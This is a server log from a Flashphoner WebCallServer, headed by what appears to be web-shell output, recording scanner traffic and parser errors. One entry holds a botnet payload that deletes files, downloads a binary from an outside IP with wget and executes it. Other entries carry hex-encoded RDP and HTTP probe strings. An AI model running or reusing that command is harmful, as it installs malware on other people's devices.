Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /proc/self/cwd/usr/local/FlashphonerWebCallServer/logs/server_logs/ |
03:01:23,503 ERROR HttpServerHandler - HTTP-pool-3-thread-183 HTTP error java.lang.IllegalArgumentException: invalid version format: 6 WOﾂ:Dﾯ&ﾗﾟ￡￭ￂﾍ￠Mﾲﾞￜﾾ(ﾆￓQﾈￗ 4ￌﾨￌﾩ/0+, ﾞￌﾨￌﾪ 3 = at org.jboss.netty.handler.codec.http.HttpVersion.<init>(Unknown Source) at org.jboss.netty.handler.codec.http.HttpVersion.valueOf(Unknown Source) at org.jboss.netty.handler.codec.http.HttpRequestDecoder.createMessage(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:01:23,517 ERROR HttpServerHandler - HTTP-pool-3-thread-183 HTTP error java.lang.IllegalArgumentException: invalid version format: 6 WOﾂ:Dﾯ&ﾗﾟ￡￭ￂﾍ￠Mﾲﾞￜﾾ(ﾆￓQﾈￗ 4ￌﾨￌﾩ/0+, ﾞￌﾨￌﾪ 3 = at org.jboss.netty.handler.codec.http.HttpVersion.<init>(Unknown Source) at org.jboss.netty.handler.codec.http.HttpVersion.valueOf(Unknown Source) at org.jboss.netty.handler.codec.http.HttpRequestDecoder.createMessage(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.cleanup(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.channelDisconnected(Unknown Source) at org.jboss.netty.channel.Channels.fireChannelDisconnected(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.close(Unknown Source) at org.jboss.netty.channel.socket.nio.NioServerSocketPipelineSink.handleAcceptedSocket(Unknown Source) at org.jboss.netty.channel.socket.nio.NioServerSocketPipelineSink.eventSunk(Unknown Source) at org.jboss.netty.handler.codec.oneone.OneToOneEncoder.handleDownstream(Unknown Source) at org.jboss.netty.handler.stream.ChunkedWriteHandler.handleDownstream(Unknown Source) at org.jboss.netty.channel.Channels.close(Unknown Source) at org.jboss.netty.channel.AbstractChannel.close(Unknown Source) at com.flashphoner.server.http.G.exceptionCaught(Unknown Source) at org.jboss.netty.handler.stream.ChunkedWriteHandler.handleUpstream(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.exceptionCaught(Unknown Source) at org.jboss.netty.channel.Channels.fireExceptionCaught(Unknown Source) at org.jboss.netty.channel.AbstractChannelSink.exceptionCaught(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:01:47,565 ERROR HttpServerHandler - HTTP-pool-3-thread-182 HTTP error java.lang.IllegalArgumentException: invalid version format: ﾔ ﾹEﾵﾛWￔHﾢ￮=8LOﾳZ￬ﾫ8Qﾀￌﾫ￤￤TY &+/,0ￌﾩￌﾨ at org.jboss.netty.handler.codec.http.HttpVersion.<init>(Unknown Source) at org.jboss.netty.handler.codec.http.HttpVersion.valueOf(Unknown Source) at org.jboss.netty.handler.codec.http.HttpRequestDecoder.createMessage(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:01:47,569 ERROR HttpServerHandler - HTTP-pool-3-thread-182 HTTP error java.lang.IllegalArgumentException: invalid version format: ﾔ ﾹEﾵﾛWￔHﾢ￮=8LOﾳZ￬ﾫ8Qﾀￌﾫ￤￤TY &+/,0ￌﾩￌﾨ at org.jboss.netty.handler.codec.http.HttpVersion.<init>(Unknown Source) at org.jboss.netty.handler.codec.http.HttpVersion.valueOf(Unknown Source) at org.jboss.netty.handler.codec.http.HttpRequestDecoder.createMessage(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.cleanup(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.channelDisconnected(Unknown Source) at org.jboss.netty.channel.Channels.fireChannelDisconnected(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.close(Unknown Source) at org.jboss.netty.channel.socket.nio.NioServerSocketPipelineSink.handleAcceptedSocket(Unknown Source) at org.jboss.netty.channel.socket.nio.NioServerSocketPipelineSink.eventSunk(Unknown Source) at org.jboss.netty.handler.codec.oneone.OneToOneEncoder.handleDownstream(Unknown Source) at org.jboss.netty.handler.stream.ChunkedWriteHandler.handleDownstream(Unknown Source) at org.jboss.netty.channel.Channels.close(Unknown Source) at org.jboss.netty.channel.AbstractChannel.close(Unknown Source) at com.flashphoner.server.http.G.exceptionCaught(Unknown Source) at org.jboss.netty.handler.stream.ChunkedWriteHandler.handleUpstream(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.exceptionCaught(Unknown Source) at org.jboss.netty.channel.Channels.fireExceptionCaught(Unknown Source) at org.jboss.netty.channel.AbstractChannelSink.exceptionCaught(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:12:24,490 ERROR HttpServerHandler - HTTP-pool-3-thread-101 HTTP error java.lang.IllegalArgumentException: invalid version format: /0+,ￌﾨￌﾩ at org.jboss.netty.handler.codec.http.HttpVersion.<init>(Unknown Source) at org.jboss.netty.handler.codec.http.HttpVersion.valueOf(Unknown Source) at org.jboss.netty.handler.codec.http.HttpRequestDecoder.createMessage(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:12:24,494 ERROR HttpServerHandler - HTTP-pool-3-thread-101 HTTP error java.lang.IllegalArgumentException: invalid version format: /0+,ￌﾨￌﾩ at org.jboss.netty.handler.codec.http.HttpVersion.<init>(Unknown Source) at org.jboss.netty.handler.codec.http.HttpVersion.valueOf(Unknown Source) at org.jboss.netty.handler.codec.http.HttpRequestDecoder.createMessage(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.cleanup(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.channelDisconnected(Unknown Source) at org.jboss.netty.channel.Channels.fireChannelDisconnected(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.close(Unknown Source) at org.jboss.netty.channel.socket.nio.NioServerSocketPipelineSink.handleAcceptedSocket(Unknown Source) at org.jboss.netty.channel.socket.nio.NioServerSocketPipelineSink.eventSunk(Unknown Source) at org.jboss.netty.handler.codec.oneone.OneToOneEncoder.handleDownstream(Unknown Source) at org.jboss.netty.handler.stream.ChunkedWriteHandler.handleDownstream(Unknown Source) at org.jboss.netty.channel.Channels.close(Unknown Source) at org.jboss.netty.channel.AbstractChannel.close(Unknown Source) at com.flashphoner.server.http.G.exceptionCaught(Unknown Source) at org.jboss.netty.handler.stream.ChunkedWriteHandler.handleUpstream(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.exceptionCaught(Unknown Source) at org.jboss.netty.channel.Channels.fireExceptionCaught(Unknown Source) at org.jboss.netty.channel.AbstractChannelSink.exceptionCaught(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:14:26,174 INFO WSServerHandler - WSS-pool-17-thread-26740 Orgign: null 03:14:26,175 WARN WSServerHandler - WSS-pool-17-thread-26740 Close channel [id: 0x0b85417d, /198.235.24.244:63290 => /45.252.249.168:8443] because: org.jboss.netty.handler.codec.http.websocketx.WebSocketHandshakeException 'not a WebSocket handshake request: missing upgrade' 03:14:52,699 INFO WSServerHandler - WSS-pool-17-thread-26740 Orgign: null 03:14:52,701 WARN WSServerHandler - WSS-pool-17-thread-26740 Close channel [id: 0x2440e1a8, /205.210.31.151:57814 => /45.252.249.168:8443] because: org.jboss.netty.handler.codec.http.websocketx.WebSocketHandshakeException 'not a WebSocket handshake request: missing upgrade' 03:21:18,321 WARN WSServerHandler - WS-pool-14-thread-42867 Close channel [id: 0x4a49f2c8, /167.94.138.52:50272 => /45.252.249.168:8080] because: java.io.IOException 'Connection reset by peer' 03:21:21,623 INFO WSServerHandler - WS-pool-14-thread-42867 Orgign: null 03:21:21,624 WARN WSServerHandler - WS-pool-14-thread-42867 Close channel [id: 0x18ebccc7, /167.94.138.52:42800 => /45.252.249.168:8080] because: org.jboss.netty.handler.codec.http.websocketx.WebSocketHandshakeException 'not a WebSocket handshake request: missing upgrade' 03:21:22,307 WARN WSServerHandler - WS-pool-14-thread-42867 Close channel [id: 0x06582406, /167.94.138.52:53428 => /45.252.249.168:8080] because: java.io.IOException 'Connection reset by peer' 03:21:22,604 WARN WSServerHandler - WS-pool-14-thread-42867 Close channel [id: 0x714c5746, /167.94.138.52:45014 => /45.252.249.168:8080] because: java.lang.IllegalArgumentException 'empty text' 03:21:22,606 WARN WSServerHandler - WS-pool-14-thread-42867 Close channel [id: 0x714c5746, /167.94.138.52:45014 :> /45.252.249.168:8080] because: java.lang.IllegalArgumentException 'empty text' 03:21:22,606 INFO WSServerHandler - WS-pool-14-thread-42867 Channel already closed, do nothing 03:25:02,390 WARN annelUpstreamHandler - RTSP-pool-26-thread-180 EXCEPTION, please implement com.flashphoner.server.I.A.exceptionCaught() for proper handling. java.lang.IllegalArgumentException: empty text at org.jboss.netty.handler.codec.http.HttpVersion.<init>(Unknown Source) at org.jboss.netty.handler.codec.rtsp.RtspVersions.valueOf(Unknown Source) at com.flashphoner.G.A.C.createMessage(Unknown Source) at org.jboss.netty.handler.codec.http.HttpMessageDecoder.decode(Unknown Source) at com.flashphoner.G.A.E.decode(Unknown Source) at com.flashphoner.G.A.E.decode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:25:07,404 INFO WSServerHandler - WSS-pool-17-thread-26741 Orgign: null 03:25:07,406 WARN WSServerHandler - WSS-pool-17-thread-26741 Close channel [id: 0x281b875c, /205.210.31.164:61950 => /45.252.249.168:8443] because: org.jboss.netty.handler.codec.http.websocketx.WebSocketHandshakeException 'not a WebSocket handshake request: missing upgrade' 03:34:30,534 WARN WSServerHandler - WSS-pool-17-thread-26742 Close channel [id: 0x076535c7, /194.165.16.10:65427 => /45.252.249.168:8443] because: javax.net.ssl.SSLException 'not an SSL/TLS record: 0300002f2ae00000000000436f6f6b69653a206d737473686173683d41646d696e697374720d0a0100080003000000' 03:39:07,890 WARN WSServerHandler - WS-pool-14-thread-42868 Close channel [id: 0x26c7af40, /167.248.133.35:60024 => /45.252.249.168:8080] because: java.io.IOException 'Connection reset by peer' 03:39:11,788 INFO WSServerHandler - WS-pool-14-thread-42868 Orgign: null 03:39:11,790 WARN WSServerHandler - WS-pool-14-thread-42868 Close channel [id: 0x1c4b5f8a, /167.248.133.35:50792 => /45.252.249.168:8080] because: org.jboss.netty.handler.codec.http.websocketx.WebSocketHandshakeException 'not a WebSocket handshake request: missing upgrade' 03:39:12,338 WARN WSServerHandler - WS-pool-14-thread-42868 Close channel [id: 0x78d8148c, /167.248.133.35:57742 => /45.252.249.168:8080] because: java.io.IOException 'Connection reset by peer' 03:39:12,619 WARN WSServerHandler - WS-pool-14-thread-42868 Close channel [id: 0x7e673e29, /167.248.133.35:33176 => /45.252.249.168:8080] because: java.lang.IllegalArgumentException 'invalid version format: ﾜ,O ￍ.ￎ(ﾈﾯ ﾒWￂEﾠ' 03:39:12,619 WARN WSServerHandler - WS-pool-14-thread-42868 Close channel [id: 0x7e673e29, /167.248.133.35:33176 :> /45.252.249.168:8080] because: java.lang.IllegalArgumentException 'invalid version format: ﾜ,O ￍ.ￎ(ﾈﾯ ﾒWￂEﾠ' 03:39:12,619 INFO WSServerHandler - WS-pool-14-thread-42868 Channel already closed, do nothing 03:39:15,221 INFO TurnServerHandler - TurnServer-pool-32-thread-741 Accept new turn connection: /80.66.88.215:65274 03:42:45,160 ERROR TurnServerHandler - TurnServer-pool-32-thread-741 Got exception on channel [id: 0x435e7a97, /80.66.88.215:65274 => /45.252.249.168:3478] 03:42:45,163 INFO TurnServerHandler - TurnServer-pool-32-thread-741 Close turn connection /80.66.88.215:65274 03:43:32,440 INFO WSServerHandler - WS-pool-14-thread-42869 Orgign: null 03:43:32,441 WARN WSServerHandler - WS-pool-14-thread-42869 Close channel [id: 0x2b540fbd, /184.105.247.251:12403 => /45.252.249.168:8080] because: org.jboss.netty.handler.codec.http.websocketx.WebSocketHandshakeException 'not a WebSocket handshake request: missing upgrade' 03:46:20,604 ERROR HttpServerHandler - HTTPS-pool-5-thread-37 HTTP error javax.net.ssl.SSLException: not an SSL/TLS record: 474554202f64727569642f696e6465782e68746d6c20485454502f312e310d0a486f73743a2034352e3235322e3234392e3136383a383838380d0a557365722d4167656e743a204d6f7a696c6c612f352e30207a677261622f302e780d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a at org.jboss.netty.handler.ssl.SslHandler.decode(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.callDecode(Unknown Source) at org.jboss.netty.handler.codec.frame.FrameDecoder.messageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.Channels.fireMessageReceived(Unknown Source) at org.jboss.netty.channel.socket.nio.NioWorker.read(Unknown Source) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.processSelectedKeys(Unknown Source) at org.jboss.netty.channel.socket.nio.DeadlockAwareNioWorker.run(Unknown Source) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 03:46:41,417 WARN WSServerHandler - WS-pool-14-thread-42870 Close channel [id: 0x73b80cb7, /211.75.15.98:42787 :> /45.252.249.168:8080] because: java.lang.IllegalArgumentException 'invalid version format: *ARM*; RM -RF *ARM5*; RM -RF *ARM6*; RM -RF *ARM7*; RM -RF *M68K*; RM -RF *MIPS*; RM -RF *MPSL*; RM -RF *PPC*; RM -RF *SH4*; RM -RF *SPC*; RM -RF *X86*; RM -RF *X86_64*;WGET HTTP://103.67.197.87/SKYLJNE.MPSL; CHMOD 777 SKYLJNE.MPSL; ./SKYLJNE.MPSL LBLINK.SELFREP;' 03:46:41,418 INFO WSServerHandler - WS-pool-14-thread-42870 Channel already closed, do nothing 03:46:41,418 WARN WSServerHandler - WS-pool-14-thread-42870 Close channel [id: 0x73b80cb7, /211.75.15.98:42787 :> /45.252.249.168:8080] because: java.lang.IllegalArgumentException 'empty text' 03:46:41,418 INFO WSServerHandler - WS-pool-14-thread-42870 Channel already closed, do nothing 03:56:53,017 INFO WSServerHandler - WS-pool-14-thread-42871 Orgign: null 03:56:53,022 WARN WSServerHandler - WS-pool-14-thread-42871 Close channel [id: 0x470ba5d3, /198.235.24.56:57632 => /45.252.249.168:8080] because: org.jboss.netty.handler.codec.http.websocketx.WebSocketHandshakeException 'not a WebSocket handshake request: missing upgrade'